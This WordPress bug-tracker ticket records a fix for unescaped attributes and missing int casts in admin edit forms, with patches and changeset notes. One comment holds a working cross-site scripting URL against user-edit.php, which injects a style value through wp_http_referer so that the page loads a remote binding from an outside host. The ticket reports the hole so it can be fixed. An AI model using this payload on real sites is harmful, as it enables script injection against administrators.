Ticket #4333 (closed defect (bug): fixed)

Opened 5 years ago

Last modified 5 years ago

Some attribute_escape()s and relatives for edit forms

Reported by: mdawaffe Owned by: anonymous
Priority: high Milestone: 2.2.1
Component: Administration Version: 2.2
Severity: normal Keywords:
Cc:

Attachments

4333.diff Download (19.3 KB) - added by mdawaffe 5 years ago.
UserEdit_Fix_Trunk.patch Download (653 bytes) - added by g30rg3x 5 years ago.
User-Edit.php Fix for trunk
Fix_22.patch Download (17.5 KB) - added by g30rg3x 5 years ago.
Patch for milestone 2.2, based on trunk chageset #5543

Change History

comment:1   ryan5 years ago

The int casts can go in get_category_to_edit() and the other to_edit() functions since we always want them to be ints. attribute_escape() needs more context, so calling it from the forms is good.

  • Owner changed from anonymous to rob1n

Also, looks like we could use some selected()'s in there.

comment:3   ryan5 years ago

(In [5543]) attribute_escape()s and int casts. see #4333

  • Status changed from new to closed
  • Resolution set to fixed

Looks like those <select>'s options aren't going to work with selected().

  • Status changed from closed to reopened
  • Resolution fixed deleted
  • Milestone changed from 2.3 to 2.2.1

Also needs to go into 2.2.1 and 2.0.11

(In [5550]) attribute_escape()s and int casts for 2.0.x: see #4333

2.2.1 remains.

Well i make some trunk based patches for 2.2.
Obviously i don't add anything that has to be related with the trunk version.

Also i think that the trunk solution is incomplete because doesn't filter the user-edit.php based version of the bug:
user-edit.php?user_id=1&wp_http_referer=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'

g30rg3x5 years ago

User-Edit.php Fix for trunk

g30rg3x5 years ago

Patch for milestone 2.2, based on trunk chageset #5543

  • Owner changed from rob1n to anonymous
  • Status changed from reopened to new

(In [5588]) use clean_url(). Nice catch, g30rg3x. see #4333 for trunk

  • Status changed from new to closed
  • Resolution set to fixed

(In [5589]) Int casting and misc escaping for 2.2 Props g30rg3x. fixes #4333 for 2.2

Note: See TracTickets for help on using tickets.